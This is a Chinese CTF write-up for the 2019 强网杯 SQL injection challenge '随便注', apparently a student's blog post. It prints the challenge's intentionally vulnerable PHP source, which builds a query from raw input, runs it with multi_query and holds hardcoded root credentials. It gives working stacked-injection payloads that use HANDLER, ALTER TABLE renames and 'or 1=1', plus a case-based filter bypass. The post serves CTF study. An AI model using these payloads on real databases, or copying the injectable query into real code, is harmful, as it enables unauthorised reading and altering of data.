随便注【强网杯2019】

news2024/12/23 14:46:22

大佬的完整wp:buuctf-web-[强网杯 2019]随便注-wp_取材于某次真实环境渗透,只说一句话:开发和安全缺一不可-CSDN博客

知识点:

  • 单引号字符型绕过
  • 堆叠注入
    • 可以执行多条语句
    • multi_query():该函数可能引发堆叠注入
  • handler用法
    • mysql专属,可替代select部分功能
    • handler 表名 open;handler 表名 read next;handler 表名 close;
    • 和文件操作类似,先打开一个表,读取表内容(一条记录),关闭表
    • # 打开一个表名为 tbl_name 的表的句柄
      HANDLER tbl_name OPEN [ [AS] alias]
      
      # 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
      HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
          [ WHERE where_condition ] [LIMIT ... ]
      
      # 2、通过索引查看表
      # FIRST: 获取第一行(索引最小的一行)
      # NEXT: 获取下一行
      # PREV: 获取上一行
      # LAST: 获取最后一行(索引最大的一行)
      HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
          [ WHERE where_condition ] [LIMIT ... ]
      
      # 3、不通过索引查看表
      # READ FIRST: 获取句柄的第一行
      # READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
      # 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
      HANDLER tbl_name READ { FIRST | NEXT }
          [ WHERE where_condition ] [LIMIT ... ]
      
      # 关闭已打开的句柄
      HANDLER tbl_name CLOSE
      
  • strstr函数对大小写不敏感;可以利用大小写绕过
  • 数据库相关知识
    • show databases;
    • show tables;
    • show tables from 数据库名;
    • show columns from 表名;
    • desc 表名;
  • 这道题中的表名必须用 反引号进行包裹;如`words` `123456`;要不然不识别
  • 解题方法
    • 方法1:handler代替select绕过
      • 使用handler函数进行操作;这里是bp抓包中的payload,所有空格都用+代替了,而且相关特殊符号也用url编码了
        • payload:inject=1'+;handler+`1919810931114514`+open;handler+`1919810931114514`+read+next;%23
    • 方法2:表名操作绕过
      • 通过修改表名和字段名进行绕过
        • 先把表名和字段名修改为界面能显示的字段数据,然后再让界面输出所有数据
          • ​​​​​​​​​payload:inject=1';+alter+table+words+rename+to+words1;alter+table+`1919810931114514`+rename+to+words;alter+table+words+change+flag+id+varchar(50);%23
          • payload:inject=1'+or+1=1%23
    • 方法3:预编译绕过(这种方法没做
      • 直接定义一条语句给变量,然后执行该变量
      • strstr函数不能区分大小写,利用大小写绕过set prepare等关键字检测
      • 流程
        • set用于设置变量名和值
          prepare用于预备一个语句,并赋予名称,以后可以引用该语句
          execute执行语句
          deallocate prepare用来释放掉预处理的语句
          

源码如下:(本题无提示,源码自己找的)

<html>

<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  //关闭数据库连接
}
?>
</pre>

</body>

</html>

通过观察源码发现有两层waf

前戏就不演示了,通过不断的测试发现这里存在堆叠注入,而且还有waf过滤,最关键的是把select和英文句号给过滤了,而且提示内容给出了waf1的信息,到这里我就蒙了,这怎么搞呀,最多能看一下表名和字段名,想使用outfile写入文件发现英文句号被过滤了,彻底把我难住了;看了一下大佬的wp才发现了新大陆,大佬的wp放到开头了

这里是单引号的字符型绕过

通过堆叠执行的前置命令:

  • 开始通过执行下面的命令获取到了关键的表名和字段名,flag就在数字表名中
  • 表名一定要加``符号(反引号);不然不识别;我就是这里被卡死了
  • 1';show+databases;--+
  • 1';show+tables;--+
  • 1';show+columns+from+`1919810931114514`;--+
    • 或者1';desc+`1919810931114514`;--+
  • 1';desc+`words`;--+
  • 1'+order+by+2--+
    • 1'+order+by+3--+

直接上关键节点:

方法1:

handler绕过:

payload:inject=1'+;handler+`1919810931114514`+open;handler+`1919810931114514`+read+next;%23

方法2:

修改表名和字段名绕过

payload:inject=1';+alter+table+words+rename+to+words1;alter+table+`1919810931114514`+rename+to+words;alter+table+words+change+flag+id+varchar(50);%23

payload:inject=1'+or+1=1%23

方法3这里就不演示了,每种方法都得重启一遍靶场,可以直接看开头大佬的wp,写的很详细;

我这里主要是记一下sql注入的知识点,一些离奇的绕过方法

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1559884.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

面试题:JVM 调优

一、JVM 参数设置 1. tomcat 的设置 vm 参数 修改 TOMCAT_HOME/bin/catalina.sh 文件&#xff0c;如下图 JAVA_OPTS"-Xms512m -Xmx1024m" 2. springboot 项目 jar 文件启动 通常在linux系统下直接加参数启动springboot项目 nohup java -Xms512m -Xmx1024m -jar…

动态内存管理-错题合集讲解

空指针的解应用操作&#xff08;错误信息合集&#xff09; 越界访问 首先我们上一个代码&#xff0c;看看这个的代码的问题 这个代码的问题显而易见 &#xff0c;就是在循环里面&#xff0c;产生了越界访问的问题&#xff0c;这里你开辟了10个整形空间&#xff0c;但是从0-1…

谈谈MVCC机制

在MySQL中&#xff0c;MVCC&#xff08;多版本并发控制&#xff09;是InnoDB存储引擎使用的并发控制机制。它提供对数据的并发访问&#xff0c;并确保多用户环境中数据的一致性和隔离性。 InnoDB通过“Undo log”存储每条记录的多个版本&#xff0c;提供历史记录供读取&#x…

Python数据结构与算法——数据结构(链表、哈希表、树)

目录 链表 链表介绍 创建和遍历链表 链表节点插入和删除 双链表 链表总结——复杂度分析 哈希表(散列表) 哈希表介绍 哈希冲突 哈希表实现 哈希表应用 树 树 树的示例——模拟文件系统 二叉树 二叉树的链式存储 二叉树的遍历 二叉搜索树 插入 查询 删除 AVL树 …

后端SpringBoot+Mybatis 查询订单数据库奇怪报错加一

排错过程&#xff1a; 看报错意思是SQL语句存在错误&#xff0c;然后使用图形化工具运行这个SQL语句 其实这里稍微细心想一下就能发现问题&#xff0c;但是当时没深入想&#xff0c;就觉得order表前加了数据库名字影响不大&#xff0c;所以感觉SQL语句是没问题的&#xff0c;然…

Java6升级至Java8常用新特性

目录 Java 8 常用新特性1、Lambda 表达式2、方法引用2.1 静态方法引用2.2 特定对象的实例方法引用2.3 特定类型的任意对象的实例方法引用2.4 构造器引用 3、接口中的默认方法4、函数式接口4.1 自定义函数式接口4.2 内置函数式接口 5、Date/Time API6、Optional 容器类型7、Stre…

【Qt】窗口

目录 一、概述二、菜单栏&#xff08;QMenuBar&#xff09;三、工具栏&#xff08;QToolBar&#xff09;四、状态栏&#xff08;QStatusBar&#xff09;五、浮动窗口六、对话框 一、概述 Qt窗口是通过QMainWindow类来实现的。 QMainWindow是一个为用户提供主窗口程序的类&…

程序数据模型由OS还是硬件架构决定?

文章目录 前言硬件架构的作用OS的作用编译器的角色OS的数据模型参考 前言 在文章 1>>32的结果是1还是0 中提到了数据模型 L P 64 LP64 LP64 &#xff0c;并提出这个数据模型主要是由 U n i x Unix Unix 以及类 U n i x Unix Unix 的操作系统使用居多&#xff0c;例如…

SpringBoot 缓存预热

简介&#xff1a; SpringBoot集合RedisUtil和 CommadnLinRunner实现缓存预热 一、新建一个缓存抽象类 在redis模块里面 新建 /*** 缓存抽象类*/ Component public abstract class AbstractCache {// 初始化缓存public void initCache() {}public <T> T getCache(Strin…

虚拟现实(VR)项目的开发工具

虚拟现实&#xff08;VR&#xff09;项目的开发涉及到多种工具&#xff0c;这些工具可以帮助开发者从建模、编程到最终内容的发布。以下是一些被广泛认可的VR开发工具&#xff0c;它们覆盖了从3D建模到交互设计等多个方面。北京木奇移动技术有限公司&#xff0c;专业的软件外包…

PySpark的学习

一. 什么是PySpark 使用过的bin/pyspark 程序 , 要注意 , 这个只是一个 应用程序 , 提供一个 Python 解释器执行环境来运行 Spark 任务 现在说的 PySpark, 指的是 Python 的运行类库 , 是可以在 Python 代码中 :import pyspark PySpark 是 Spark 官方提供的一个 Python …

MP设置动态表名

Mybatis设置动态表名 Mybatis设置动态表名1.动态表名插件2.传递表名3.注意事项 Mybatis设置动态表名 1.动态表名插件 MybatisPlus中提供了一个动态表名的插件&#xff1a;https://baomidou.com/pages/2a45ff/#dynamictablenameinnerinterceptor 插件的部分源码如下&#xff…

【SpringCloud】Eureka注册中心

目 录 一.Eureka的结构和作用二.搭建 eureka-server1. 创建 eureka-server 服务2. 引入 eureka 依赖3. 编写启动类4. 编写配置文件5. 启动服务 三.服务注册1. 引入依赖2. 配置文件3. 启动多个user-service实例 四.服务发现1. 引入依赖2. 配置文件3. 服务拉取和负载均衡 总结 假…

【MATLAB源码-第24期】基于matlab的水声通信中海洋噪声的建模仿真,对比不同风速的影响。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 水声通信&#xff1a; 水声通信是一种利用水中传播声波的方式进行信息传递的技术。它在水下环境中被广泛应用&#xff0c;特别是在海洋科学研究、海洋资源勘探、水下军事通信等领域。 1. **传输媒介**&#xff1a;水声通信利…

【IC前端虚拟项目】mvu顶层集成的原则与技巧

【IC前端虚拟项目】数据搬运指令处理模块前端实现虚拟项目说明-CSDN博客 截止目前,所有的子模块编码均宣告完成,接下来就是封装顶层的时刻了。我自己规划和集成顶层一般有一个习惯,就是在top层下面封装core层和其他模块,比如mvu的top层下例化了mvu_reg和mvu_core两个模块,…

鸿蒙OS开发实战:【网络管理HTTP数据请求】

一、场景介绍 应用通过HTTP发起一个数据请求&#xff0c;支持常见的GET、POST、OPTIONS、HEAD、PUT、DELETE、TRACE、CONNECT方法。 二、 接口说明 HTTP数据请求功能主要由http模块提供。 使用该功能需要申请ohos.permission.INTERNET权限。 涉及的接口如下表&#xff0c;…

最优算法100例之18-列升序行升序的数组中查找元素

专栏主页:计算机专业基础知识总结(适用于期末复习考研刷题求职面试)系列文章https://blog.csdn.net/seeker1994/category_12585732.html 题目描述 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序。请完成一个函数,输入这样一…

WebScraper网页数据爬取可视化工具使用(无需编码)

前言 Web Scraper 是一个浏览器扩展&#xff0c;可以实现无需编码即可爬取网页上的数据。只需按照规则进行配置&#xff0c;即可实现一键爬取导出数据。 安装 进入Google应用商店安装此插件&#xff0c;安装步骤如下&#xff1a; 进入Google应用商店需要外网VPN才能访问&…

贪吃蛇:从零开始搭建一个完整的小游戏

目录 导语&#xff1a; 一、游戏框架 二、蛇的实现 三、绘制游戏界面 四、食物 五、移动蛇 六.得分系统&#xff0c;是否吃到食物 七、检查碰撞 八、处理按键事件 九、得分系统 十、游戏状态管理 导语&#xff1a; 贪吃蛇这个经典的小游戏&#xff0c;我上学的时候就…

用一个程序解决SQLite常见的各项操作(实用篇)

文章说明&#xff1a; 本篇文章是在之前的一篇文章SQLite3进行数据库各项常用操作基础上写的&#xff0c;将SQLite涉及到的常用的几种操作&#xff0c;以函数的形式处理成相互调用的形式。 因为之前的文章对基础操作已经解释过了&#xff0c;所以这里直接放置可执行代码和结果…